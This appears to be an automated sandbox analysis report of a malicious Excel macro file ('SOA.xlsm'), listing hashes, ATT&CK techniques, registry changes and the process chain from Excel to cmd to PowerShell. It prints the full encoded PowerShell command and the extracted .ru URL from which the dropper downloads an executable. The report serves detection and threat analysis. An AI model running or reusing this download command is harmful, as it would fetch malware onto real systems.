eb065c4072ee30b3644a847c8f28044eb183977f39e1f90de08d098d8dd70eec

General

Target

SOA.xlsm
Size

18KB
MD5

5af73df3782494331cb85c3278054f94
SHA1

f4ddfd5507b0f92caec0588309d75292daa28693
SHA256

eb065c4072ee30b3644a847c8f28044eb183977f39e1f90de08d098d8dd70eec
SHA512

6ee5a826804664593d336a19c317e30f13f9d0d902f75bcef4668b30de08016e23a85575090248a376f5ac1afc36f13f17599b062dcf07da46eb3a8f732a4483

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://a0532749.xsph.ru/RR.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	588	1944	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

5 876 powershell.exe
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
5	876	powershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1944 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

876 powershell.exe
876 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 876 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1944 EXCEL.EXE
1944 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1944 EXCEL.EXE
1944 EXCEL.EXE
1944 EXCEL.EXE

pid	process
1944	EXCEL.EXE

pid	process
876	powershell.exe
876	powershell.exe

description	pid	process
Token: SeDebugPrivilege	876	powershell.exe

pid	process
1944	EXCEL.EXE
1944	EXCEL.EXE

pid	process
1944	EXCEL.EXE
1944	EXCEL.EXE
1944	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

EXCEL.EXEcmd.execmd.exe

description	pid	process	target process
PID 1944 wrote to memory of 588	1944	EXCEL.EXE	cmd.exe
PID 1944 wrote to memory of 588	1944	EXCEL.EXE	cmd.exe
PID 1944 wrote to memory of 588	1944	EXCEL.EXE	cmd.exe
PID 1944 wrote to memory of 588	1944	EXCEL.EXE	cmd.exe
PID 588 wrote to memory of 1176	588	cmd.exe	cmd.exe
PID 588 wrote to memory of 1176	588	cmd.exe	cmd.exe
PID 588 wrote to memory of 1176	588	cmd.exe	cmd.exe
PID 588 wrote to memory of 1176	588	cmd.exe	cmd.exe
PID 1176 wrote to memory of 876	1176	cmd.exe	powershell.exe
PID 1176 wrote to memory of 876	1176	cmd.exe	powershell.exe
PID 1176 wrote to memory of 876	1176	cmd.exe	powershell.exe
PID 1176 wrote to memory of 876	1176	cmd.exe	powershell.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\SOA.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1944

C:\Windows\SysWOW64\cmd.exe
cmd /c cmd /c powershell -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYQAwADUAMwAyADcANAA5AC4AeABzAHAAaAAuAHIAdQAvAFIAUgAuAGUAeABlACcALAAoACQAZQBuAHYAOgBUAGUAbQBwACkAKwAnAFwAZABXAFEAWQBYAC4AZQB4AGUAJwApAA==
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:588

C:\Windows\SysWOW64\cmd.exe
cmd /c powershell -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYQAwADUAMwAyADcANAA5AC4AeABzAHAAaAAuAHIAdQAvAFIAUgAuAGUAeABlACcALAAoACQAZQBuAHYAOgBUAGUAbQBwACkAKwAnAFwAZABXAFEAWQBYAC4AZQB4AGUAJwApAA==
3⤵
- Suspicious use of WriteProcessMemory
PID:1176

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYQAwADUAMwAyADcANAA5AC4AeABzAHAAaAAuAHIAdQAvAFIAUgAuAGUAeABlACcALAAoACQAZQBuAHYAOgBUAGUAbQBwACkAKwAnAFwAZABXAFEAWQBYAC4AZQB4AGUAJwApAA==
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:876

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/588-62-0x0000000000000000-mapping.dmp

Download
memory/876-71-0x0000000004790000-0x0000000004791000-memory.dmp

Filesize
4KB

Download
memory/876-75-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/876-69-0x00000000046F2000-0x00000000046F3000-memory.dmp

Filesize
4KB

Download
memory/876-70-0x0000000002490000-0x0000000002491000-memory.dmp

Filesize
4KB

Download
memory/876-64-0x0000000000000000-mapping.dmp

Download
memory/876-65-0x00000000760B1000-0x00000000760B3000-memory.dmp

Filesize
8KB

Download
memory/876-66-0x0000000000A70000-0x0000000000A71000-memory.dmp

Filesize
4KB

Download
memory/876-67-0x00000000047F0000-0x00000000047F1000-memory.dmp

Filesize
4KB

Download
memory/876-89-0x00000000062C0000-0x00000000062C1000-memory.dmp

Filesize
4KB

Download
memory/876-68-0x00000000046F0000-0x00000000046F1000-memory.dmp

Filesize
4KB

Download
memory/876-88-0x00000000062A0000-0x00000000062A1000-memory.dmp

Filesize
4KB

Download
memory/876-81-0x0000000006110000-0x0000000006111000-memory.dmp

Filesize
4KB

Download
memory/876-74-0x0000000005FC0000-0x0000000005FC1000-memory.dmp

Filesize
4KB

Download
memory/876-80-0x0000000006080000-0x0000000006081000-memory.dmp

Filesize
4KB

Download
memory/1176-63-0x0000000000000000-mapping.dmp

Download
memory/1944-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1944-59-0x000000002F8D1000-0x000000002F8D4000-memory.dmp

Filesize
12KB

Download
memory/1944-60-0x0000000071141000-0x0000000071143000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads